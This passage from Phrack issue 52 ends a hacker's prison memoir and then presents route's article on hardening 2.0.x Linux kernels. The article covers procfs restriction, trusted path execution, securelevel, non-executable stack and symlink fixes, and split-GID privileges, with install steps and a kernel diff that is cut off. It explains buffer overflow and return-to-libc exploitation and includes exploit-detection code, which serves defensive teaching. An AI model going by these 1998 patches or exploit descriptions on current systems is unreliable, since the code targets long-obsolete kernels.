avoiding detection and keeping clear of hackers. In fact I could fill a book,
|
||
and in retrospect I probably should have. But I told a lot of people I would
|
||
write this file and make it public. Hope you found it of some assistance.
|
||
|
||
|
||
CLOSURE
|
||
|
||
What a long strange trip it's been. I have a great deal of mixed
|
||
emotions about my whole ordeal. I can however, say that I HAVE benefited
|
||
from my incarceration. However, it certainly was not on the behalf of how I
|
||
was handled by the government. No, despite their efforts to kick me when I
|
||
was down, use me, turn their backs after I had assisted them, and in general,
|
||
just violate my rights, I was still able to emerge better educated than when I
|
||
went in. But frankly, my release from prison was just in the nick of time.
|
||
The long term effects of incarceration and stress were creeping up on me, and
|
||
I could see prison conditions were worsening. It's hard to express the
|
||
poignancy of the situation but the majority of those incarcerated feel that if
|
||
drastic changes are not made America is due for some serious turmoil, perhaps
|
||
even a civil war. Yes, the criminal justice system is that screwed up. The
|
||
Nation's thirst for vengeance on criminals is leading us into a vicious
|
||
feedback loop of crime and punishment, and once again crime. Quite simply,
|
||
the system is not working. My purpose in writing this article was not to send
|
||
any kind of message. I'm not telling you how not to get caught and I'm not
|
||
telling you to stop hacking. I wrote this simply because I feel like I owe it
|
||
to whomever might get use of it. For some strange reason I am oddly compelled
|
||
to tell you what happened to me. Perhaps this is some kind or therapy,
|
||
perhaps it's just my ego, perhaps I just want to help some poor 18 year old
|
||
hacker who really doesn't know what he is getting himself in to. Whatever the
|
||
reason, I just sat down one day and started writing.
|
||
|
||
If there is a central theme to this article it would be how ugly your
|
||
world can become. Once you get grabbed by the law, sucked into their vacuum,
|
||
and they shine the spotlight on you, there will be little you can do to
|
||
protect yourself. The vultures and predators will try to pick what they can
|
||
off of you. It's open season for the U.S. Attorneys, your attorney, other
|
||
inmates, and prison officials. You become fair game. Defending yourself from
|
||
all of these forces will require all of your wits, all of your resources, and
|
||
occasionally your fists.
|
||
|
||
Furthering the humiliation, the press, as a general rule, will not be
|
||
concerned with presenting the truth. They will print what suits them and
|
||
often omit many relevant facts. If you have read any of the 5 books I am
|
||
covered in you will no doubt have a rather jaded opinion of me. Let me assure
|
||
you that if you met me today you would quickly see that I am quite likable and
|
||
not the villain many (especially Jon Littman) have made me out to be. You may
|
||
not agree with how I lived my life, but you wouldn't have any trouble
|
||
understanding why I chose to live it that way. Granted I've made my mistakes,
|
||
growing up has been a long road for me. Nevertheless, I have no shortage of
|
||
good friends. Friends that I am immensely loyal to. But if you believe
|
||
everything you read you'd have the impression that Mitnick is a vindictive
|
||
loser, Poulsen a furtive stalker, and I a two faced rat. All of those
|
||
assessments would be incorrect.
|
||
|
||
So much for first impressions. I just hope I was able to enlighten
|
||
you and in some way to help you make the right choice. Whether it's
|
||
protecting yourself from what could be a traumatic life altering experience,
|
||
or compelling you to focus your computer skills on other avenues, it's
|
||
important for you to know the program, the language, and the rules.
|
||
|
||
See you in the movies.
|
||
|
||
Agent Steal
|
||
1997
|
||
|
||
----[ EOF
|
||
|
||
---[ Phrack Magazine Volume 8, Issue 52 January 26, 1998, article 06 of 20
|
||
|
||
|
||
-------------------------[ Hardening the Linux Kernel (series 2.0.x)
|
||
|
||
|
||
--------[ route|daemon9 <route@infonexus.com>
|
||
|
||
|
||
|
||
|
||
----[ Introduction and Impetus
|
||
|
||
|
||
Linux. The cutest Unix-like O/S alive today. Everyone knows at least
|
||
*one* person who has at least *one* Linux machine. Linux, whatever your
|
||
opinion of it, is out there, and is being used by more and more people. Many
|
||
of the people using Linux are using it in multi-user environments. All of a
|
||
sudden they find security to be a big issue. This article is for those people.
|
||
|
||
This article covers a few areas of potential insecurity in the Linux O/S
|
||
and attempts to improve upon them. It contains several security related
|
||
kernel patches for the 2.0.x kernels (each has been tested successfully on the
|
||
2.0.3x kernels and most should work on older 2.0.x kernels; see each
|
||
subsection for more info).
|
||
|
||
These are kernel patches. They do nothing for user-land security. If you
|
||
can not set permissions and configure services correctly, you should not be
|
||
running a Unix machine.
|
||
|
||
These patches are not bugfixes. They are preventative security fixes.
|
||
They are intended to prevent possible problems and breaches of security from
|
||
occurring. In some cases they can remove (or at least severely complicate) the
|
||
threat of many of today's most popular methods of attack.
|
||
|
||
These patches are not really useful on a single-user machine. They are
|
||
really intended for a multi-user box.
|
||
|
||
This article is for those of you who want better security out of your Linux
|
||
O/S. If you want to go a bit further, look into the POSIX.1e (POSIX 6) stuff.
|
||
POSIX.1e is a security model that basically separates identity and privilege.
|
||
Effectively, it splits superuser privileges into different `capabilities`.
|
||
Additionally, the Linux POSIX.1e (linux-privs) implementation offers a bitmapped
|
||
securelevel, kernel-based auditing (userland audit hooks are being developed),
|
||
and ACLs. See: http://parc.power.net/morgan/Orange-Linux/linux-privs/index.html
|
||
|
||
To sum it up, in this article, we explore a few ways to make the multi-user
|
||
Linux machine a bit more secure and resilient to attack.
|
||
|
||
|
||
----[ The Patches
|
||
|
||
|
||
procfs patch
|
||
------------
|
||
Tested on: 2.0.0 +
|
||
Author: route
|
||
|
||
Why should we allow anyone to be able to view info on any process?
|
||
|
||
Normally, /bin/ps can show process listing for every process in the
|
||
kernel's process table, regardless of ownership. A non-privileged user can
|
||
see all the running processes on a system. This can include information that
|
||
could be used in some forms of known / guessed PID-based attacks, not to
|
||
mention the obvious lack of privacy. /bin/ps gets this process information by
|
||
reading the /proc filesystem.
|
||
|
||
The /proc filesystem is a virtual filesystem interface into the O/S which
|
||
provides all kinds of good information including the status of various
|
||
portions of the running kernel and a list of currently running processes. It
|
||
has a filesystem interface, which means it has file-system-like access
|
||
controls. As such, we can change the default access permissions on the inode
|
||
from 555 to 500.
|
||
|
||
And that's the patch. We just change the permissions on the inode from
|
||
S_IFDIR | S_IRUGO | S_IXUGO to S_IFDIR | S_IRUSR | S_IXUSR.
|
||
|
||
|
||
trusted path execution patch
|
||
----------------------------
|
||
Tested on: 2.0.0 +
|
||
Author: route (2.0.x version, original 1.x patch by merc)
|
||
|
||
Why should we allow arbitrary programs execution rights?
|
||
|
||
Consider this scenario: You are the administrator of a multi-user Linux
|
||
machine. All of a sudden there is a new bug in the Pentium(tm) processor!
|
||
As it happens, this bug causes the CPU to lock up entirely, requiring a cold
|
||
reboot. This bug is also exploitable by any user regardless of privilege. All
|
||
it necessitates is for the malevolent user to 1) get the source, 2) compile the
|
||
exploit, and 3) execute the program.
|
||
|
||
Whelp... 1) has happened. You cannot prevent anyone from getting it. It's
|
||
out there. You could remove permissions from the compiler on your machine or
|
||
remove the binary entirely, but this does not stop the user from compiling
|
||
the exploit elsewhere, and getting the binary on your machine somehow. You
|
||
cannot prevent 2) either. However, if you only allow binaries to be executed
|
||
from a trusted path, you can prevent 3) from happening. A trusted path is
|
||
one that is inside is a root owned directory that is not group or world
|
||
writable. /bin, /usr/bin, /usr/local/bin, are (under normal circumstances)
|
||
considered trusted. Any non-root users home directory is not trusted, nor is
|
||
/tmp. Be warned: This patch is a major annoyance to users who like to execute
|
||
code and scripts from their home directories! It will make you extremely
|
||
un-popular as far as these people are concerned. It will also let you sleep
|
||
easier at night knowing that no unscrupulous persons will be executing
|
||
malicious bits of code on your machine.
|
||
|
||
Before any call to exec is allowed to run, we open the inode of the
|
||
directory that the executable lives in and check ownership and permissions.
|
||
If the directory is not owned by root, or is writable to group or other, we
|
||
consider that untrusted.
|
||
|
||
|
||
securelevel patch
|
||
-----------------
|
||
Tested on: 2.0.26 +
|
||
Author: route
|
||
|
||
Damnit, if I set the immutable and append only bits, I did it for a reason.
|
||
|
||
This patch isn't really much of a patch. It simply bumps the securelevel
|
||
up, to 1 from 0. This freezes the immutable and append-only bits on files,
|
||
keeping anyone from changing them (from the normal chattr interface). Before
|
||
turning this on, you should of course make certain key files immutable, and
|
||
logfiles append-only. It is still possible to open the raw disk device,
|
||
however. Your average cut and paste hacker will probably not know how to do
|
||
this.
|
||
|
||
|
||
stack execution disabling patch and symlink patch
|
||
-------------------------------
|
||
Tested on: 2.0.30 +
|
||
Author: solar designer
|
||
|
||
From the documentation accompanying SD's patch:
|
||
|
||
This patch is intended to add protection against two classes of security
|
||
holes: buffer overflows and symlinks in /tmp.
|
||
|
||
Most buffer overflow exploits are based on overwriting a function's return
|
||
address on the stack to point to some arbitrary code, which is also put
|
||
onto the stack. If the stack area is non-executable, buffer overflow
|
||
vulnerabilities become harder to exploit.
|
||
|
||
Another way to exploit a buffer overflow is to point the return address to
|
||
a function in libc, usually system(). This patch also changes the default
|
||
address that shared libraries are mmap()ed at to make it always contain a
|
||
zero byte. This makes it impossible to specify any more data (parameters
|
||
to the function, or more copies of the return address when filling with a
|
||
pattern) in an exploit that has to do with ASCIIZ strings (this is the
|
||
case for most overflow vulnerabilities).
|
||
|
||
However, note that this patch is by no means a complete solution, it just
|
||
adds an extra layer of security. Some buffer overflow vulnerabilities will
|
||
still remain exploitable a more complicated way. The reason for using such
|
||
a patch is to protect against some of the buffer overflow vulnerabilities
|
||
that are yet unknown.
|
||
|
||
In this version of my patch I also added a symlink security fix, originally
|
||
by Andrew Tridgell. I changed it to prevent from using hard links too, by
|
||
simply not allowing non-root users to create hard links to files they don't
|
||
own, in +t directories. This seems to be the desired behavior anyway, since
|
||
otherwise users couldn't remove such links they just created. I also added
|
||
exploit attempt logging, this code is shared with the non-executable stack
|
||
stuff, and was the reason to make it a single patch instead of two separate
|
||
ones. You can enable them separately anyway.
|
||
|
||
|
||
GID split privilege patch
|
||
-------------------------------
|
||
Tested on: 2.0.30 +
|
||
Author: Original version DaveG, updated for 2.0.33 by route
|
||
|
||
From the documentation accompanying Dave's original patch:
|
||
This is a simple kernel patch that allows you to perform certain
|
||
privileged operations with out requiring root access. With this patch
|
||
three groups become privileged groups allowed to do different operations
|
||
within the kernel.
|
||
|
||
GID 16 : a program running with group 16 privileges can bind to a
|
||
< 1024. This allows programs like: rlogin, rcp, rsh, and ssh
|
||
to run setgid 16 instead of setuid 0(root). This also allows
|
||
servers that need to run as root to bind to a privileged port
|
||
like named, to also run setgid 16.
|
||
|
||
GID 17 : any program running under GID 17 privileges will be able to
|
||
create a raw socket. Programs like ping and traceroute can now
|
||
be made to run setgid 17 instead of setuid 0(root).
|
||
|
||
GID 18 : This group is for SOCK_PACKET. This isn't useful for most people,
|
||
so if you don't know what it is, don't worry about it.
|
||
|
||
Limitations
|
||
-----------
|
||
Since this is a simple patch, it is VERY limited. First of all, there
|
||
is no support for supplementary groups. This means that you can't stack
|
||
these privileges. If you need GID 16 and 17, there isn't much you can do
|
||
about it.
|
||
|
||
|
||
|
||
----[ Installation
|
||
|
||
|
||
This patchfile has been tested and verified to work against the latest
|
||
stable release of the linux kernel (as of this writing, 2.0.33). It should
|
||
work against other 2.0.x releases as well with little or no modification. THIS
|
||
IS NOT A GUARANTEE! Please do not send me your failed patch logs from older
|
||
kernels. Take this as a perfect opportunity to upgrade your kernel to the
|
||
latest release. Note that several of these patches are for X86-Linux only.
|
||
Sorry.
|
||
|
||
1. Create the symlink:
|
||
|
||
`cd /usr/src`
|
||
`ln -s linux-KERNEL_VERSION linux-stock`
|
||
|
||
2. Apply the kernel patch:
|
||
|
||
`patch < slinux.patch >& patch.err`
|
||
|
||
2a. Examine the error file for any failed hunks. Figure where you went wrong
|
||
in life:
|
||
|
||
`grep fail patch.err`
|
||
|
||
3. Configure your kernel:
|
||
|
||
`make config` OR `make menu-config` OR `make xconfig`
|
||
|
||
4. You will need to enable prompting for experimental code in your kernel and
|
||
turn on the patches individually.
|
||
|
||
5. To configure the split GID privilege patch, add the follow to your
|
||
/etc/group file:
|
||
|
||
`cat >> /etc/group`
|
||
priv_port::16:user1, user2, user3
|
||
raw_sock::17:user1, user2
|
||
sock_pak::18:user2, user3
|
||
^D
|
||
|
||
Where `userx` are the usernames of the users you wish to give these
|
||
permissions to. Next, fix the corresponding group and permissions on the
|
||
binaries you wish to strip root privileges from:
|
||
|
||
`chgrp raw_sock /bin/ping`
|
||
`chmod 2755 /bin/ping`
|
||
|
||
|
||
|
||
----[ The patchfile
|
||
|
||
|
||
This patchfile should be extracted with the Phrack Magazine Extraction
|
||
Utility included in this (and every) issue.
|
||
|
||
<++> slinux.patch
|
||
diff -ru linux-stock/Documentation/Configure.help linux-patched/Documentation/Configure.help
|
||
--- linux-stock/Documentation/Configure.help Fri Sep 5 20:43:58 1997
|
||
+++ linux-patched/Documentation/Configure.help Mon Nov 10 22:02:36 1997
|
||
@@ -720,6 +720,77 @@
|
||
later load the module when you install the JDK or find an interesting
|
||
Java program that you can't live without.
|
||
|
||
+Non-executable user stack area (EXPERIMENTAL)
|
||
+CONFIG_STACKEXEC
|
||
+ Most buffer overflow exploits are based on overwriting a function's
|
||
+ return address on the stack to point to some arbitrary code, which is
|
||
+ also put onto the stack. If the stack area is non-executable, buffer
|
||
+ overflow vulnerabilities become harder to exploit. However, a few
|
||
+ programs depend on the stack being executable, and might stop working
|
||
+ unless you also enable GCC trampolines autodetection below, or enable
|
||
+ the stack area execution permission for every such program separately
|
||
+ using chstk.c. If you don't know what all this is about, or don't care
|
||
+ about security that much, say N.
|
||
+
|
||
+Autodetect GCC trampolines
|
||
+CONFIG_STACKEXEC_AUTOENABLE
|
||
+ GCC generates trampolines on the stack to correctly pass control to
|
||
+ nested functions when calling from outside. This requires the stack
|
||
+ being executable. When this option is enabled, programs containing
|
||
+ trampolines will automatically get their stack area executable when
|
||
+ a trampoline is found. However, in some cases this autodetection can
|
||
+ be fooled in a buffer overflow exploit, so it is more secure to
|
||
+ disable this option and use chstk.c to enable the stack area execution
|
||
+ permission for every such program separately. If you're too lazy,
|
||
+ answer Y.
|
||
+
|
||
+Log buffer overflow exploit attempts
|
||
+CONFIG_STACKEXEC_LOG
|
||
+ This option enables logging of buffer overflow exploit attempts. No
|
||
+ more than one attempt per minute is logged, so this is safe. Say Y.
|
||
+
|
||
+Process table viewing restriction (EXPERIMENTAL)
|
||
+CONFIG_PROC_RESTRICT
|
||
+ This option enables process table viewing restriction. Users will only
|
||
+ be able to get status of processes they own, with the exception the
|
||
+ root user, who can get an entire process table listing. This patch
|
||
+ should not cause any problems with other programs but it is not fully
|
||
+ tested under every possible contingency. You must enable the /proc
|
||
+ filesystem for this option to be of any use. If you run a multi-user
|
||
+ system and are reasonably concerned with privacy and/or security, say Y.
|
||
+
|
||
+Trusted path execution (EXPERIMENTAL)
|
||
+CONFIG_TPE
|
||
+ This option enables trusted path execution. Binaries are considered
|
||
+ `trusted` if they live in a root owned directory that is not group or
|
||
+ world writable. If an attempt is made to execute a program from a non
|
||
+ trusted directory, it will simply not be allowed to run. This is
|
||
+ quite useful on a multi-user system where security is an issue. Users
|
||
+ will not be able to compile and execute arbitrary programs (read: evil)
|
||
+ from their home directories, as these directories are not trusted.
|
||
+ This option is useless on a single user machine.
|
||
+
|
||
+Trusted path execution (EXPERIMENTAL)
|
||
+CONFIG_TPE_LOG
|
||
+ This option enables logging of execution attempts from non-trusted
|
||
+ paths.
|
||
+
|
||
+Secure mode (EXPERIMENTAL)
|
||
+CONFIG_SECURE_ON
|
||
+ This bumps up the securelevel from 0 to 1. When the securelevel is `on`,
|
||
+ immutable and append-only bits cannot be set or cleared. If you are not
|
||
+ concerned with security, you can say `N`.
|
||
+
|
||
+Split Network Groups (EXPERIMENTAL)
|
||
+CONFIG_SPLIT_GID
|
||
+ This is a simple kernel patch that allows you to perform certain
|
||
+ privileged operations with out requiring root access. With this patch
|
||
+ three groups become privileged groups allowed to do different operations
|
||
+ within the kernel.
|
||
+ GID 16 allows programs to bind to privledged ports.
|
||
+ GID 17 allows programs to open raw sockets.
|
||
+ GID 18 allows programs to open sock packets.
|
||
+
|
||
Processor type
|
||
CONFIG_M386
|
||
This is the processor type of your CPU. It is used for optimizing
|
||
@@ -2951,6 +3020,27 @@
|
||
netatalk, new mars-nwe and other file servers. At the time of
|
||
writing none of these are available. So it's safest to say N here
|
||
unless you really know that you need this feature.
|
||
+
|
||
+Symlink security fix (EXPERIMENTAL)
|
||
+CONFIG_SYMLINK_FIX
|
||
+ A very common class of security hole on UNIX-like systems involves
|
||
+ a malicious user creating a symbolic link in /tmp pointing at
|
||
+ another user's file. When the victim then writes to that file they
|
||
+ inadvertently write to the wrong file. Enabling this option fixes
|
||
+ this class of hole by preventing a process from following a link
|
||
+ which is in a +t directory unless they own the link. However, this
|
||
+ fix does not affect links owned by root, since these could only be
|
||
+ created by someone having root access already. To prevent someone
|
||
+ from using a hard link instead, this fix does not allow non-root
|
||
+ users to create hard links in a +t directory to files they don't
|
||
+ own. Note that this fix might break things. Only say Y if security
|
||
+ is more important.
|
||
+
|
||
+Log symlink exploit attempts
|
||
+CONFIG_SYMLINK_LOG
|
||
+ This option enables logging of symlink (and hard link) exploit
|
||
+ attempts. No more than one attempt per minute is logged, so this is
|
||
+ safe. Say Y.
|
||
|
||
Minix fs support
|
||
CONFIG_MINIX_FS
|
||
diff -ru linux-stock/arch/i386/config.in linux-patched/arch/i386/config.in
|
||
--- linux-stock/arch/i386/config.in Sun May 12 21:17:23 1996
|
||
+++ linux-patched/arch/i386/config.in Sun Nov 9 12:38:27 1997
|
||
@@ -35,6 +35,15 @@
|
||
tristate 'Kernel support for ELF binaries' CONFIG_BINFMT_ELF
|
||
if [ "$CONFIG_EXPERIMENTAL" = "y" ]; then
|
||
tristate 'Kernel support for JAVA binaries' CONFIG_BINFMT_JAVA
|
||
+ bool 'Non-executable user stack area (EXPERIMENTAL)' CONFIG_STACKEXEC
|
||
+ if [ "$CONFIG_STACKEXEC" = "y" ]; then
|
||
+ bool ' Autodetect GCC trampolines' CONFIG_STACKEXEC_AUTOENABLE
|
||
+ bool ' Log buffer overflow exploit attempts' CONFIG_STACKEXEC_LOG
|
||
+ fi
|
||
+ bool ' Restrict process table viewing (EXPERIMENTAL)' CONFIG_PROC_RESTRICT
|
||
+ bool ' Trusted path execution (EXPERIMENTAL)' CONFIG_TPE
|
||
+ bool ' Log untrusted path execution attempts (EXPERIMENTAL)' CONFIG_TPE_LOG
|
||
+ bool ' Split Network GIDs (EXPERIMENTAL)' CONFIG_SPLIT_GID
|
||
fi
|
||
bool 'Compile kernel as ELF - if your GCC is ELF-GCC' CONFIG_KERNEL_ELF
|
||
|
||
diff -ru linux-stock/arch/i386/defconfig linux-patched/arch/i386/defconfig
|
||
--- linux-stock/arch/i386/defconfig Mon Sep 22 13:44:01 1997
|
||
+++ linux-patched/arch/i386/defconfig Sun Nov 9 12:38:23 1997
|
||
@@ -24,6 +24,10 @@
|
||
CONFIG_SYSVIPC=y
|
||
CONFIG_BINFMT_AOUT=y
|
||
CONFIG_BINFMT_ELF=y
|
||
+# CONFIG_STACKEXEC is not set
|
||
+CONFIG_STACKEXEC_AUTOENABLE=y
|
||
+CONFIG_STACKEXEC_LOG=y
|
||
+CONFIG_SPLIT_GID=y
|
||
CONFIG_KERNEL_ELF=y
|
||
# CONFIG_M386 is not set
|
||
# CONFIG_M486 is not set
|
||
@@ -134,6 +138,8 @@
|
||
# Filesystems
|
||
#
|
||
# CONFIG_QUOTA is not set
|
||
+# CONFIG_SYMLINK_FIX is not set
|
||
+CONFIG_SYMLINK_LOG=y
|
||
CONFIG_MINIX_FS=y
|
||
# CONFIG_EXT_FS is not set
|
||
CONFIG_EXT2_FS=y
|
||
@@ -143,6 +149,9 @@
|
||
# CONFIG_VFAT_FS is not set
|
||
# CONFIG_UMSDOS_FS is not set
|
||
CONFIG_PROC_FS=y
|
||
+CONFIG_PROC_RESTRICT=y
|
||
+CONFIG_TPE=y
|
||
+CONFIG_TPE_LOG=y
|
||
CONFIG_NFS_FS=y
|
||
# CONFIG_ROOT_NFS is not set
|
||
# CONFIG_SMB_FS is not set
|
||
diff -ru linux-stock/arch/i386/kernel/head.S linux-patched/arch/i386/kernel/head.S
|
||
--- linux-stock/arch/i386/kernel/head.S Tue Aug 5 09:19:53 1997
|
||
+++ linux-patched/arch/i386/kernel/head.S Sun Nov 9 00:55:50 1997
|
||
@@ -400,10 +400,17 @@
|
||
.quad 0x0000000000000000 /* not used */
|
||
.quad 0xc0c39a000000ffff /* 0x10 kernel 1GB code at 0xC0000000 */
|
||
.quad 0xc0c392000000ffff /* 0x18 kernel 1GB data at 0xC0000000 */
|
||
+#ifdef CONFIG_STACKEXEC
|
||
+ .quad 0x00cafa000000ffff /* 0x23 user 2.75GB code at 0 */
|
||
+ .quad 0x00cbf2000000ffff /* 0x2b user 3GB data at 0 */
|
||
+ .quad 0x00cbda000000ffff /* 0x32 user 3GB code at 0, DPL=2 */
|
||
+ .quad 0x00cbd2000000ffff /* 0x3a user 3GB stack at 0, DPL=2 */
|
||
+#else
|
||
.quad 0x00cbfa000000ffff /* 0x23 user 3GB code at 0x00000000 */
|
||
.quad 0x00cbf2000000ffff /* 0x2b user 3GB data at 0x00000000 */
|
||
.quad 0x0000000000000000 /* not used */
|
||
.quad 0x0000000000000000 /* not used */
|
||
+#endif
|
||
.fill 2*NR_TASKS,8,0 /* space for LDT's and TSS's etc */
|
||
#ifdef CONFIG_APM
|
||
.quad 0x00c09a0000000000 /* APM CS code */
|
||
diff -ru linux-stock/arch/i386/kernel/ptrace.c linux-patched/arch/i386/kernel/ptrace.c
|
||
--- linux-stock/arch/i386/kernel/ptrace.c Mon Aug 4 12:12:22 1997
|
||
+++ linux-patched/arch/i386/kernel/ptrace.c Sun Nov 9 00:55:50 1997
|
||
@@ -413,7 +413,7 @@
|
||
addr == FS || addr == GS ||
|
||
addr == CS || addr == SS) {
|
||
data &= 0xffff;
|
||
- if (data && (data & 3) != 3)
|
||
+ if (data && (data & 3) < 2)
|
||
return -EIO;
|
||
}
|
||
if (addr == EFL) { /* flags. */
|
||
@@ -423,6 +423,10 @@
|
||
/* Do not allow the user to set the debug register for kernel
|
||
address space */
|
||
if(addr < 17){
|
||
+ if (addr == EIP && (data & 0xF0000000) == 0xB0000000)
|
||
+ if (put_stack_long(child, CS*sizeof(long)-MAGICNUMBER, USER_HUGE_CS) ||
|
||
+ put_stack_long(child, SS*sizeof(long)-MAGICNUMBER, USER_HUGE_SS))
|
||
+ return -EIO;
|
||
if (put_stack_long(child, sizeof(long)*addr-MAGICNUMBER, data))
|
||
return -EIO;
|
||
return 0;
|
||
diff -ru linux-stock/arch/i386/kernel/signal.c linux-patched/arch/i386/kernel/signal.c
|
||
--- linux-stock/arch/i386/kernel/signal.c Mon Aug 4 12:12:51 1997
|
||
+++ linux-patched/arch/i386/kernel/signal.c Sun Nov 9 00:55:50 1997
|
||
@@ -83,10 +83,10 @@
|
||
#define COPY_SEG(x) \
|
||
if ( (context.x & 0xfffc) /* not a NULL selectors */ \
|
||
&& (context.x & 0x4) != 0x4 /* not a LDT selector */ \
|
||
- && (context.x & 3) != 3 /* not a RPL3 GDT selector */ \
|
||
+ && (context.x & 3) < 2 /* not a RPL3 or RPL2 GDT selector */ \
|
||
) goto badframe; COPY(x);
|
||
#define COPY_SEG_STRICT(x) \
|
||
-if (!(context.x & 0xfffc) || (context.x & 3) != 3) goto badframe; COPY(x);
|
||
+if (!(context.x & 0xfffc) || (context.x & 3) < 2) goto badframe; COPY(x);
|
||
struct sigcontext_struct context;
|
||
struct pt_regs * regs;
|
||
|
||
@@ -167,16 +167,20 @@
|
||
unsigned long * frame;
|
||
|
||
frame = (unsigned long *) regs->esp;
|
||
- if (regs->ss != USER_DS && sa->sa_restorer)
|
||
+ if (regs->ss != USER_DS && regs->ss != USER_HUGE_SS && sa->sa_restorer)
|
||
frame = (unsigned long *) sa->sa_restorer;
|
||
frame -= 64;
|
||
if (verify_area(VERIFY_WRITE,frame,64*4))
|
||
do_exit(SIGSEGV);
|
||
|
||
/* set up the "normal" stack seen by the signal handler (iBCS2) */
|
||
+#ifdef CONFIG_STACKEXEC
|
||
+ put_user((unsigned long)MAGIC_SIGRETURN, frame);
|
||
+#else
|
||
#define __CODE ((unsigned long)(frame+24))
|
||
#define CODE(x) ((unsigned long *) ((x)+__CODE))
|
||
put_user(__CODE,frame);
|
||
+#endif
|
||
if (current->exec_domain && current->exec_domain->signal_invmap)
|
||
put_user(current->exec_domain->signal_invmap[signr], frame+1);
|
||
else
|
||
@@ -204,19 +208,17 @@
|
||
/* non-iBCS2 extensions.. */
|
||
put_user(oldmask, frame+22);
|
||
put_user(current->tss.cr2, frame+23);
|
||
+#ifndef CONFIG_STACKEXEC
|
||
/* set up the return code... */
|
||
put_user(0x0000b858, CODE(0)); /* popl %eax ; movl $,%eax */
|
||
put_user(0x80cd0000, CODE(4)); /* int $0x80 */
|
||
put_user(__NR_sigreturn, CODE(2));
|
||
#undef __CODE
|
||
#undef CODE
|
||
+#endif
|
||
|
||
/* Set up registers for signal handler */
|
||
- regs->esp = (unsigned long) frame;
|
||
- regs->eip = (unsigned long) sa->sa_handler;
|
||
- regs->cs = USER_CS; regs->ss = USER_DS;
|
||
- regs->ds = USER_DS; regs->es = USER_DS;
|
||
- regs->gs = USER_DS; regs->fs = USER_DS;
|
||
+ start_thread(regs, (unsigned long)sa->sa_handler, (unsigned long)frame);
|
||
regs->eflags &= ~TF_MASK;
|
||
}
|
||
|
||
diff -ru linux-stock/arch/i386/kernel/traps.c linux-patched/arch/i386/kernel/traps.c
|
||
--- linux-stock/arch/i386/kernel/traps.c Mon Aug 11 13:37:24 1997
|
||
+++ linux-patched/arch/i386/kernel/traps.c Sun Nov 9 00:55:50 1997
|
||
@@ -117,7 +117,7 @@
|
||
|
||
esp = (unsigned long) ®s->esp;
|
||
ss = KERNEL_DS;
|
||
- if ((regs->eflags & VM_MASK) || (3 & regs->cs) == 3)
|
||
+ if ((regs->eflags & VM_MASK) || (3 & regs->cs) >= 2)
|
||
return;
|
||
if (regs->cs & 3) {
|
||
esp = regs->esp;
|
||
@@ -193,11 +193,82 @@
|
||
|
||
asmlinkage void do_general_protection(struct pt_regs * regs, long error_code)
|
||
{
|
||
+#ifdef CONFIG_STACKEXEC
|
||
+ unsigned long retaddr;
|
||
+#endif
|
||
+
|
||
if (regs->eflags & VM_MASK) {
|
||
handle_vm86_fault((struct vm86_regs *) regs, error_code);
|
||
return;
|
||
}
|
||
+
|
||
+#ifdef CONFIG_STACKEXEC
|
||
+/* Check if it was return from a signal handler */
|
||
+ if (regs->cs == USER_CS || regs->cs == USER_HUGE_CS)
|
||
+ if (get_seg_byte(USER_DS, (char *)regs->eip) == 0xC3)
|
||
+ if (!verify_area(VERIFY_READ, (void *)regs->esp, 4))
|
||
+ if ((retaddr = get_seg_long(USER_DS, (char *)regs->esp)) ==
|
||
+ MAGIC_SIGRETURN) {
|
||
+/*
|
||
+ * Call sys_sigreturn() to restore the context. It would definitely be better
|
||
+ * to convert sys_sigreturn() into an inline function accepting a pointer to
|
||
+ * pt_regs, making this faster...
|
||
+ */
|
||
+ regs->esp += 8;
|
||
+ __asm__("movl %3,%%esi;"
|
||
+ "subl %1,%%esp;"
|
||
+ "movl %2,%%ecx;"
|
||
+ "movl %%esp,%%edi;"
|
||
+ "cld; rep; movsl;"
|
||
+ "call sys_sigreturn;"
|
||
+ "leal %3,%%edi;"
|
||
+ "addl %1,%%edi;"
|
||
+ "movl %%esp,%%esi;"
|
||
+ "movl (%%edi),%%edi;"
|
||
+ "movl %2,%%ecx;"
|
||
+ "cld; rep; movsl;"
|
||
+ "movl %%esi,%%esp"
|
||
+ :
|
||
+/* %eax is returned separately */
|
||
+ "=a" (regs->eax)
|
||
+ :
|
||
+ "i" (sizeof(*regs)),
|
||
+ "i" (sizeof(*regs) >> 2),
|
||
+ "m" (regs)
|
||
+ :
|
||
+ "cx", "dx", "si", "di", "cc", "memory");
|
||
+ return;
|
||
+ }
|
||
+
|
||
+#ifdef CONFIG_STACKEXEC_LOG
|
||
+/*
|
||
+ * Check if we're returning to the stack area, which is only likely to happen
|
||
+ * when attempting to exploit a buffer overflow.
|
||
+ */
|
||
+ else if (regs->cs == USER_CS &&
|
||
+ (retaddr & 0xF0000000) == 0xB0000000)
|
||
+ security_alert("buffer overflow");
|
||
+#endif
|
||
+#endif
|
||
+
|
||
die_if_kernel("general protection",regs,error_code);
|
||
+
|
||
+#if defined(CONFIG_STACKEXEC) && defined(CONFIG_STACKEXEC_AUTOENABLE)
|
||
+/*
|
||
+ * Switch to the original huge code segment (and allow code execution on the
|
||
+ * stack for this entire process), if the faulty instruction is a call %reg,
|
||
+ * except for call %esp.
|
||
+ */
|
||
+ if (regs->cs == USER_CS)
|
||
+ if (get_seg_byte(USER_DS, (char *)regs->eip) == 0xFF &&
|
||
+ (get_seg_byte(USER_DS, (char *)(regs->eip + 1)) & 0xD8) == 0xD0 &&
|
||
+ get_seg_byte(USER_DS, (char *)(regs->eip + 1)) != 0xD4) {
|
||
+ current->flags |= PF_STACKEXEC;
|
||
+ regs->cs = USER_HUGE_CS; regs->ss = USER_HUGE_SS;
|
||
+ return;
|
||
+ }
|
||
+#endif
|
||
+
|
||
current->tss.error_code = error_code;
|
||
current->tss.trap_no = 13;
|
||
force_sig(SIGSEGV, current);
|
||
diff -ru linux-stock/arch/i386/mm/fault.c linux-patched/arch/i386/mm/fault.c
|
||
--- linux-stock/arch/i386/mm/fault.c Sat Aug 16 22:21:20 1997
|
||
+++ linux-patched/arch/i386/mm/fault.c Sun Nov 9 00:55:50 1997
|
||
@@ -44,6 +44,7 @@
|
||
unsigned long page;
|
||
int write;
|
||
|
||
+ if ((regs->cs & 3) >= 2) error_code |= 4;
|
||
/* get the address */
|
||
__asm__("movl %%cr2,%0":"=r" (address));
|
||
down(&mm->mmap_sem);
|
||
diff -ru linux-stock/fs/binfmt_aout.c linux-patched/fs/binfmt_aout.c
|
||
--- linux-stock/fs/binfmt_aout.c Wed Oct 15 14:56:43 1997
|
||
+++ linux-patched/fs/binfmt_aout.c Tue Nov 11 00:38:48 1997
|
||
@@ -315,6 +315,7 @@
|
||
